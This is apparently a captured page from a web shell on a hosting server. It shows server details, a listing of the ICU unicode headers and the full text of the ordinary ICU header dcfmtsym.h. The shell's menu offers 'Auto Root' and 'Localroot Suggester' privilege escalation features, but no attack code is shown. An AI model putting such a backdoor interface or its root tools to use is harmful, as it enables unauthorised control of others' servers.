Linux server.edchosting.com 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
LiteSpeed
Server IP : 75.98.162.185 & Your IP : 216.73.216.163
Domains :
Cant Read [ /etc/named.conf ]
User : goons4good
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
include /
unicode /
Delete
Unzip
Name
Size
Permission
Date
Action
alphaindex.h
25.29
KB
-rw-r--r--
2020-03-20 20:49
appendable.h
8.38
KB
-rw-r--r--
2020-03-20 20:49
basictz.h
8.77
KB
-rw-r--r--
2020-03-20 20:49
bms.h
8.68
KB
-rw-r--r--
2020-03-20 20:49
bmsearch.h
7.33
KB
-rw-r--r--
2020-03-20 20:49
brkiter.h
24.24
KB
-rw-r--r--
2020-03-20 20:49
bytestream.h
9.16
KB
-rw-r--r--
2020-03-20 20:49
bytestrie.h
19.19
KB
-rw-r--r--
2020-03-20 20:49
bytestriebuilder.h
6.73
KB
-rw-r--r--
2020-03-20 20:49
calendar.h
102.76
KB
-rw-r--r--
2020-03-20 20:49
caniter.h
7.23
KB
-rw-r--r--
2020-03-20 20:49
chariter.h
23.71
KB
-rw-r--r--
2020-03-20 20:49
choicfmt.h
27.82
KB
-rw-r--r--
2020-03-20 20:49
coleitr.h
12.69
KB
-rw-r--r--
2020-03-20 20:49
coll.h
53.44
KB
-rw-r--r--
2020-03-20 20:49
colldata.h
12.42
KB
-rw-r--r--
2020-03-20 20:49
curramt.h
3.57
KB
-rw-r--r--
2020-03-20 20:49
currpinf.h
6.93
KB
-rw-r--r--
2020-03-20 20:49
currunit.h
2.99
KB
-rw-r--r--
2020-03-20 20:49
datefmt.h
33.67
KB
-rw-r--r--
2020-03-20 20:49
dbbi.h
966
B
-rw-r--r--
2020-03-20 20:49
dcfmtsym.h
14.91
KB
-rw-r--r--
2020-03-20 20:49
decimfmt.h
97.38
KB
-rw-r--r--
2020-03-20 20:49
docmain.h
6.28
KB
-rw-r--r--
2020-03-20 20:49
dtfmtsym.h
30.27
KB
-rw-r--r--
2020-03-20 20:49
dtintrv.h
3.65
KB
-rw-r--r--
2020-03-20 20:49
dtitvfmt.h
39.24
KB
-rw-r--r--
2020-03-20 20:49
dtitvinf.h
18.56
KB
-rw-r--r--
2020-03-20 20:49
dtptngen.h
19.54
KB
-rw-r--r--
2020-03-20 20:49
dtrule.h
8.51
KB
-rw-r--r--
2020-03-20 20:49
enumset.h
1.8
KB
-rw-r--r--
2020-03-20 20:49
errorcode.h
4.67
KB
-rw-r--r--
2020-03-20 20:49
fieldpos.h
8.51
KB
-rw-r--r--
2020-03-20 20:49
fmtable.h
22.09
KB
-rw-r--r--
2020-03-20 20:49
format.h
12.33
KB
-rw-r--r--
2020-03-20 20:49
fpositer.h
2.97
KB
-rw-r--r--
2020-03-20 20:49
gender.h
3.02
KB
-rw-r--r--
2020-03-20 20:49
gregocal.h
33.28
KB
-rw-r--r--
2020-03-20 20:49
icudataver.h
990
B
-rw-r--r--
2020-03-20 20:49
icuplug.h
11.49
KB
-rw-r--r--
2020-03-20 20:49
idna.h
12.68
KB
-rw-r--r--
2020-03-20 20:49
listformatter.h
3.97
KB
-rw-r--r--
2020-03-20 20:49
localpointer.h
9.13
KB
-rw-r--r--
2020-03-20 20:49
locdspnm.h
7.14
KB
-rw-r--r--
2020-03-20 20:49
locid.h
30.48
KB
-rw-r--r--
2020-03-20 20:49
measfmt.h
1.94
KB
-rw-r--r--
2020-03-20 20:49
measunit.h
1.6
KB
-rw-r--r--
2020-03-20 20:49
measure.h
3.24
KB
-rw-r--r--
2020-03-20 20:49
messagepattern.h
33.6
KB
-rw-r--r--
2020-03-20 20:49
msgfmt.h
43.59
KB
-rw-r--r--
2020-03-20 20:49
normalizer2.h
28.34
KB
-rw-r--r--
2020-03-20 20:49
normlzr.h
29.26
KB
-rw-r--r--
2020-03-20 20:49
numfmt.h
43.59
KB
-rw-r--r--
2020-03-20 20:49
numsys.h
5.37
KB
-rw-r--r--
2020-03-20 20:49
parseerr.h
2.97
KB
-rw-r--r--
2020-03-20 20:49
parsepos.h
5.34
KB
-rw-r--r--
2020-03-20 20:49
platform.h
24.23
KB
-rw-r--r--
2020-03-20 20:49
plurfmt.h
24.58
KB
-rw-r--r--
2020-03-20 20:49
plurrule.h
14.56
KB
-rw-r--r--
2020-03-20 20:49
ptypes.h
3.36
KB
-rw-r--r--
2020-03-20 20:49
putil.h
5.61
KB
-rw-r--r--
2020-03-20 20:49
rbbi.h
29.15
KB
-rw-r--r--
2020-03-20 20:49
rbnf.h
45.32
KB
-rw-r--r--
2020-03-20 20:49
rbtz.h
15.33
KB
-rw-r--r--
2020-03-20 20:49
regex.h
83.1
KB
-rw-r--r--
2020-03-20 20:49
rep.h
9.33
KB
-rw-r--r--
2020-03-20 20:49
resbund.h
17.89
KB
-rw-r--r--
2020-03-20 20:49
schriter.h
6.15
KB
-rw-r--r--
2020-03-20 20:49
search.h
22.1
KB
-rw-r--r--
2020-03-20 20:49
selfmt.h
14.13
KB
-rw-r--r--
2020-03-20 20:49
simpletz.h
45.1
KB
-rw-r--r--
2020-03-20 20:49
smpdtfmt.h
57.58
KB
-rw-r--r--
2020-03-20 20:49
sortkey.h
10.98
KB
-rw-r--r--
2020-03-20 20:49
std_string.h
783
B
-rw-r--r--
2020-03-20 20:49
strenum.h
9.92
KB
-rw-r--r--
2020-03-20 20:49
stringpiece.h
6.38
KB
-rw-r--r--
2020-03-20 20:49
stringtriebuilder.h
14.75
KB
-rw-r--r--
2020-03-20 20:49
stsearch.h
21.76
KB
-rw-r--r--
2020-03-20 20:49
symtable.h
4.1
KB
-rw-r--r--
2020-03-20 20:49
tblcoll.h
34.23
KB
-rw-r--r--
2020-03-20 20:49
timezone.h
37.28
KB
-rw-r--r--
2020-03-20 20:49
tmunit.h
3.39
KB
-rw-r--r--
2020-03-20 20:49
tmutamt.h
4.69
KB
-rw-r--r--
2020-03-20 20:49
tmutfmt.h
8.51
KB
-rw-r--r--
2020-03-20 20:49
translit.h
53.76
KB
-rw-r--r--
2020-03-20 20:49
tzfmt.h
32.06
KB
-rw-r--r--
2020-03-20 20:49
tznames.h
14.83
KB
-rw-r--r--
2020-03-20 20:49
tzrule.h
35.21
KB
-rw-r--r--
2020-03-20 20:49
tztrans.h
5.96
KB
-rw-r--r--
2020-03-20 20:49
ubidi.h
88.57
KB
-rw-r--r--
2020-03-20 20:49
ubrk.h
19.13
KB
-rw-r--r--
2020-03-20 20:49
ucal.h
50.49
KB
-rw-r--r--
2020-03-20 20:49
ucasemap.h
16.45
KB
-rw-r--r--
2020-03-20 20:49
ucat.h
5.25
KB
-rw-r--r--
2020-03-20 20:49
uchar.h
115.43
KB
-rw-r--r--
2020-03-20 20:49
ucharstrie.h
20.8
KB
-rw-r--r--
2020-03-20 20:49
ucharstriebuilder.h
6.83
KB
-rw-r--r--
2020-03-20 20:49
uchriter.h
12.82
KB
-rw-r--r--
2020-03-20 20:49
uclean.h
10.38
KB
-rw-r--r--
2020-03-20 20:49
ucnv.h
82.6
KB
-rw-r--r--
2020-03-20 20:49
ucnv_cb.h
6.48
KB
-rw-r--r--
2020-03-20 20:49
ucnv_err.h
20.87
KB
-rw-r--r--
2020-03-20 20:49
ucnvsel.h
6.03
KB
-rw-r--r--
2020-03-20 20:49
ucol.h
57.93
KB
-rw-r--r--
2020-03-20 20:49
ucoleitr.h
12.25
KB
-rw-r--r--
2020-03-20 20:49
uconfig.h
10.79
KB
-rw-r--r--
2020-03-20 20:49
ucsdet.h
12.6
KB
-rw-r--r--
2020-03-20 20:49
ucurr.h
12.96
KB
-rw-r--r--
2020-03-20 20:49
udat.h
46.47
KB
-rw-r--r--
2020-03-20 20:49
udata.h
14.81
KB
-rw-r--r--
2020-03-20 20:49
udateintervalformat.h
6.5
KB
-rw-r--r--
2020-03-20 20:49
udatpg.h
23.24
KB
-rw-r--r--
2020-03-20 20:49
udisplaycontext.h
4.34
KB
-rw-r--r--
2020-03-20 20:49
uenum.h
7.79
KB
-rw-r--r--
2020-03-20 20:49
ugender.h
1.85
KB
-rw-r--r--
2020-03-20 20:49
uidna.h
32.81
KB
-rw-r--r--
2020-03-20 20:49
uiter.h
22.67
KB
-rw-r--r--
2020-03-20 20:49
uldnames.h
10.5
KB
-rw-r--r--
2020-03-20 20:49
uloc.h
44.07
KB
-rw-r--r--
2020-03-20 20:49
ulocdata.h
10.37
KB
-rw-r--r--
2020-03-20 20:49
umachine.h
10.23
KB
-rw-r--r--
2020-03-20 20:49
umisc.h
1.23
KB
-rw-r--r--
2020-03-20 20:49
umsg.h
24.12
KB
-rw-r--r--
2020-03-20 20:49
unifilt.h
3.52
KB
-rw-r--r--
2020-03-20 20:49
unifunct.h
3.87
KB
-rw-r--r--
2020-03-20 20:49
unimatch.h
5.93
KB
-rw-r--r--
2020-03-20 20:49
unirepl.h
3.21
KB
-rw-r--r--
2020-03-20 20:49
uniset.h
63.07
KB
-rw-r--r--
2020-03-20 20:49
unistr.h
164.33
KB
-rw-r--r--
2020-03-20 20:49
unorm.h
22.89
KB
-rw-r--r--
2020-03-20 20:49
unorm2.h
21.91
KB
-rw-r--r--
2020-03-20 20:49
unum.h
39.21
KB
-rw-r--r--
2020-03-20 20:49
uobject.h
12.21
KB
-rw-r--r--
2020-03-20 20:49
upluralrules.h
4.47
KB
-rw-r--r--
2020-03-20 20:49
uregex.h
71.47
KB
-rw-r--r--
2020-03-20 20:49
urename.h
120.88
KB
-rw-r--r--
2020-03-20 20:49
urep.h
5.27
KB
-rw-r--r--
2020-03-20 20:49
ures.h
35.92
KB
-rw-r--r--
2020-03-20 20:49
uscript.h
20.46
KB
-rw-r--r--
2020-03-20 20:49
usearch.h
36.09
KB
-rw-r--r--
2020-03-20 20:49
uset.h
39.45
KB
-rw-r--r--
2020-03-20 20:49
usetiter.h
9.38
KB
-rw-r--r--
2020-03-20 20:49
ushape.h
17.89
KB
-rw-r--r--
2020-03-20 20:49
uspoof.h
38.91
KB
-rw-r--r--
2020-03-20 20:49
usprep.h
8.02
KB
-rw-r--r--
2020-03-20 20:49
ustdio.h
37.05
KB
-rw-r--r--
2020-03-20 20:49
ustream.h
1.6
KB
-rw-r--r--
2020-03-20 20:49
ustring.h
73.01
KB
-rw-r--r--
2020-03-20 20:49
ustringtrie.h
3.04
KB
-rw-r--r--
2020-03-20 20:49
utext.h
57.97
KB
-rw-r--r--
2020-03-20 20:49
utf.h
7.64
KB
-rw-r--r--
2020-03-20 20:49
utf16.h
18.24
KB
-rw-r--r--
2020-03-20 20:49
utf32.h
653
B
-rw-r--r--
2020-03-20 20:49
utf8.h
23.02
KB
-rw-r--r--
2020-03-20 20:49
utf_old.h
42.5
KB
-rw-r--r--
2020-03-20 20:49
utmscale.h
13.37
KB
-rw-r--r--
2020-03-20 20:49
utrace.h
13.09
KB
-rw-r--r--
2020-03-20 20:49
utrans.h
23.08
KB
-rw-r--r--
2020-03-20 20:49
utypes.h
30.72
KB
-rw-r--r--
2020-03-20 20:49
uvernum.h
5.53
KB
-rw-r--r--
2020-03-20 20:49
uversion.h
6.29
KB
-rw-r--r--
2020-03-20 20:49
vtzone.h
20.09
KB
-rw-r--r--
2020-03-20 20:49
Save
Rename
/* ******************************************************************************** * Copyright (C) 1997-2012, International Business Machines * Corporation and others. All Rights Reserved. ******************************************************************************** * * File DCFMTSYM.H * * Modification History: * * Date Name Description * 02/19/97 aliu Converted from java. * 03/18/97 clhuang Updated per C++ implementation. * 03/27/97 helena Updated to pass the simple test after code review. * 08/26/97 aliu Added currency/intl currency symbol support. * 07/22/98 stephen Changed to match C++ style * currencySymbol -> fCurrencySymbol * Constants changed from CAPS to kCaps * 06/24/99 helena Integrated Alan's NF enhancements and Java2 bug fixes * 09/22/00 grhoten Marked deprecation tags with a pointer to replacement * functions. ******************************************************************************** */ #ifndef DCFMTSYM_H #define DCFMTSYM_H #include "unicode/utypes.h" #include "unicode/uchar.h" #if !UCONFIG_NO_FORMATTING #include "unicode/uobject.h" #include "unicode/locid.h" #include "unicode/unum.h" /** * \file * \brief C++ API: Symbols for formatting numbers. */ U_NAMESPACE_BEGIN /** * This class represents the set of symbols needed by DecimalFormat * to format numbers. DecimalFormat creates for itself an instance of * DecimalFormatSymbols from its locale data. If you need to change any * of these symbols, you can get the DecimalFormatSymbols object from * your DecimalFormat and modify it. * <P> * Here are the special characters used in the parts of the * subpattern, with notes on their usage. * <pre> * \code * Symbol Meaning * 0 a digit * # a digit, zero shows as absent * . placeholder for decimal separator * , placeholder for grouping separator. * ; separates formats. * - default negative prefix. * % divide by 100 and show as percentage * X any other characters can be used in the prefix or suffix * ' used to quote special characters in a prefix or suffix. * \endcode * </pre> * [Notes] * <P> * If there is no explicit negative subpattern, - is prefixed to the * positive form. That is, "0.00" alone is equivalent to "0.00;-0.00". * <P> * The grouping separator is commonly used for thousands, but in some * countries for ten-thousands. The interval is a constant number of * digits between the grouping characters, such as 100,000,000 or 1,0000,0000. * If you supply a pattern with multiple grouping characters, the interval * between the last one and the end of the integer is the one that is * used. So "#,##,###,####" == "######,####" == "##,####,####". * <P> * This class only handles localized digits where the 10 digits are * contiguous in Unicode, from 0 to 9. Other digits sets (such as * superscripts) would need a different subclass. */ class U_I18N_API DecimalFormatSymbols : public UObject { public: /** * Constants for specifying a number format symbol. * @stable ICU 2.0 */ enum ENumberFormatSymbol { /** The decimal separator */ kDecimalSeparatorSymbol, /** The grouping separator */ kGroupingSeparatorSymbol, /** The pattern separator */ kPatternSeparatorSymbol, /** The percent sign */ kPercentSymbol, /** Zero*/ kZeroDigitSymbol, /** Character representing a digit in the pattern */ kDigitSymbol, /** The minus sign */ kMinusSignSymbol, /** The plus sign */ kPlusSignSymbol, /** The currency symbol */ kCurrencySymbol, /** The international currency symbol */ kIntlCurrencySymbol, /** The monetary separator */ kMonetarySeparatorSymbol, /** The exponential symbol */ kExponentialSymbol, /** Per mill symbol - replaces kPermillSymbol */ kPerMillSymbol, /** Escape padding character */ kPadEscapeSymbol, /** Infinity symbol */ kInfinitySymbol, /** Nan symbol */ kNaNSymbol, /** Significant digit symbol * @stable ICU 3.0 */ kSignificantDigitSymbol, /** The monetary grouping separator * @stable ICU 3.6 */ kMonetaryGroupingSeparatorSymbol, /** One * @stable ICU 4.6 */ kOneDigitSymbol, /** Two * @stable ICU 4.6 */ kTwoDigitSymbol, /** Three * @stable ICU 4.6 */ kThreeDigitSymbol, /** Four * @stable ICU 4.6 */ kFourDigitSymbol, /** Five * @stable ICU 4.6 */ kFiveDigitSymbol, /** Six * @stable ICU 4.6 */ kSixDigitSymbol, /** Seven * @stable ICU 4.6 */ kSevenDigitSymbol, /** Eight * @stable ICU 4.6 */ kEightDigitSymbol, /** Nine * @stable ICU 4.6 */ kNineDigitSymbol, /** count symbol constants */ kFormatSymbolCount }; /** * Create a DecimalFormatSymbols object for the given locale. * * @param locale The locale to get symbols for. * @param status Input/output parameter, set to success or * failure code upon return. * @stable ICU 2.0 */ DecimalFormatSymbols(const Locale& locale, UErrorCode& status); /** * Create a DecimalFormatSymbols object for the default locale. * This constructor will not fail. If the resource file data is * not available, it will use hard-coded last-resort data and * set status to U_USING_FALLBACK_ERROR. * * @param status Input/output parameter, set to success or * failure code upon return. * @stable ICU 2.0 */ DecimalFormatSymbols( UErrorCode& status); /** * Copy constructor. * @stable ICU 2.0 */ DecimalFormatSymbols(const DecimalFormatSymbols&); /** * Assignment operator. * @stable ICU 2.0 */ DecimalFormatSymbols& operator=(const DecimalFormatSymbols&); /** * Destructor. * @stable ICU 2.0 */ virtual ~DecimalFormatSymbols(); /** * Return true if another object is semantically equal to this one. * * @param other the object to be compared with. * @return true if another object is semantically equal to this one. * @stable ICU 2.0 */ UBool operator==(const DecimalFormatSymbols& other) const; /** * Return true if another object is semantically unequal to this one. * * @param other the object to be compared with. * @return true if another object is semantically unequal to this one. * @stable ICU 2.0 */ UBool operator!=(const DecimalFormatSymbols& other) const { return !operator==(other); } /** * Get one of the format symbols by its enum constant. * Each symbol is stored as a string so that graphemes * (characters with modifier letters) can be used. * * @param symbol Constant to indicate a number format symbol. * @return the format symbols by the param 'symbol' * @stable ICU 2.0 */ inline UnicodeString getSymbol(ENumberFormatSymbol symbol) const; /** * Set one of the format symbols by its enum constant. * Each symbol is stored as a string so that graphemes * (characters with modifier letters) can be used. * * @param symbol Constant to indicate a number format symbol. * @param value value of the format symbol * @param propogateDigits If false, setting the zero digit will not automatically set 1-9. * The default behavior is to automatically set 1-9 if zero is being set and the value * it is being set to corresponds to a known Unicode zero digit. * @stable ICU 2.0 */ void setSymbol(ENumberFormatSymbol symbol, const UnicodeString &value, const UBool propogateDigits); /** * Returns the locale for which this object was constructed. * @stable ICU 2.6 */ inline Locale getLocale() const; /** * Returns the locale for this object. Two flavors are available: * valid and actual locale. * @stable ICU 2.8 */ Locale getLocale(ULocDataLocaleType type, UErrorCode& status) const; /** * Get pattern string for 'CurrencySpacing' that can be applied to * currency format. * This API gets the CurrencySpacing data from ResourceBundle. The pattern can * be empty if there is no data from current locale and its parent locales. * * @param type : UNUM_CURRENCY_MATCH, UNUM_CURRENCY_SURROUNDING_MATCH or UNUM_CURRENCY_INSERT. * @param beforeCurrency : true if the pattern is for before currency symbol. * false if the pattern is for after currency symbol. * @param status: Input/output parameter, set to success or * failure code upon return. * @return pattern string for currencyMatch, surroundingMatch or spaceInsert. * Return empty string if there is no data for this locale and its parent * locales. * @stable ICU 4.8 */ const UnicodeString& getPatternForCurrencySpacing(UCurrencySpacing type, UBool beforeCurrency, UErrorCode& status) const; /** * Set pattern string for 'CurrencySpacing' that can be applied to * currency format. * * @param type : UNUM_CURRENCY_MATCH, UNUM_CURRENCY_SURROUNDING_MATCH or UNUM_CURRENCY_INSERT. * @param beforeCurrency : true if the pattern is for before currency symbol. * false if the pattern is for after currency symbol. * @param pattern : pattern string to override current setting. * @stable ICU 4.8 */ void setPatternForCurrencySpacing(UCurrencySpacing type, UBool beforeCurrency, const UnicodeString& pattern); /** * ICU "poor man's RTTI", returns a UClassID for the actual class. * * @stable ICU 2.2 */ virtual UClassID getDynamicClassID() const; /** * ICU "poor man's RTTI", returns a UClassID for this class. * * @stable ICU 2.2 */ static UClassID U_EXPORT2 getStaticClassID(); private: DecimalFormatSymbols(); // default constructor not implemented /** * Initializes the symbols from the LocaleElements resource bundle. * Note: The organization of LocaleElements badly needs to be * cleaned up. * * @param locale The locale to get symbols for. * @param success Input/output parameter, set to success or * failure code upon return. * @param useLastResortData determine if use last resort data */ void initialize(const Locale& locale, UErrorCode& success, UBool useLastResortData = FALSE); /** * Initialize the symbols with default values. */ void initialize(); void setCurrencyForSymbols(); public: #ifndef U_HIDE_INTERNAL_API /** * _Internal_ function - more efficient version of getSymbol, * returning a const reference to one of the symbol strings. * The returned reference becomes invalid when the symbol is changed * or when the DecimalFormatSymbols are destroyed. * ### TODO markus 2002oct11: Consider proposing getConstSymbol() to be really public. * * @param symbol Constant to indicate a number format symbol. * @return the format symbol by the param 'symbol' * @internal */ inline const UnicodeString &getConstSymbol(ENumberFormatSymbol symbol) const; /** * Returns that pattern stored in currecy info. Internal API for use by NumberFormat API. * @internal */ inline const UChar* getCurrencyPattern(void) const; #endif /* U_HIDE_INTERNAL_API */ private: /** * Private symbol strings. * They are either loaded from a resource bundle or otherwise owned. * setSymbol() clones the symbol string. * Readonly aliases can only come from a resource bundle, so that we can always * use fastCopyFrom() with them. * * If DecimalFormatSymbols becomes subclassable and the status of fSymbols changes * from private to protected, * or when fSymbols can be set any other way that allows them to be readonly aliases * to non-resource bundle strings, * then regular UnicodeString copies must be used instead of fastCopyFrom(). * * @internal */ UnicodeString fSymbols[kFormatSymbolCount]; /** * Non-symbol variable for getConstSymbol(). Always empty. * @internal */ UnicodeString fNoSymbol; Locale locale; char actualLocale[ULOC_FULLNAME_CAPACITY]; char validLocale[ULOC_FULLNAME_CAPACITY]; const UChar* currPattern; UnicodeString currencySpcBeforeSym[UNUM_CURRENCY_SPACING_COUNT]; UnicodeString currencySpcAfterSym[UNUM_CURRENCY_SPACING_COUNT]; }; // ------------------------------------- inline UnicodeString DecimalFormatSymbols::getSymbol(ENumberFormatSymbol symbol) const { const UnicodeString *strPtr; if(symbol < kFormatSymbolCount) { strPtr = &fSymbols[symbol]; } else { strPtr = &fNoSymbol; } return *strPtr; } #ifndef U_HIDE_INTERNAL_API inline const UnicodeString & DecimalFormatSymbols::getConstSymbol(ENumberFormatSymbol symbol) const { const UnicodeString *strPtr; if(symbol < kFormatSymbolCount) { strPtr = &fSymbols[symbol]; } else { strPtr = &fNoSymbol; } return *strPtr; } #endif // ------------------------------------- inline void DecimalFormatSymbols::setSymbol(ENumberFormatSymbol symbol, const UnicodeString &value, const UBool propogateDigits = TRUE) { if(symbol<kFormatSymbolCount) { fSymbols[symbol]=value; } // If the zero digit is being set to a known zero digit according to Unicode, // then we automatically set the corresponding 1-9 digits if ( propogateDigits && symbol == kZeroDigitSymbol && value.countChar32() == 1 ) { UChar32 sym = value.char32At(0); if ( u_charDigitValue(sym) == 0 ) { for ( int8_t i = 1 ; i<= 9 ; i++ ) { sym++; fSymbols[(int)kOneDigitSymbol+i-1] = UnicodeString(sym); } } } } // ------------------------------------- inline Locale DecimalFormatSymbols::getLocale() const { return locale; } #ifndef U_HIDE_INTERNAL_API inline const UChar* DecimalFormatSymbols::getCurrencyPattern() const { return currPattern; } #endif U_NAMESPACE_END #endif /* #if !UCONFIG_NO_FORMATTING */ #endif // _DCFMTSYM //eof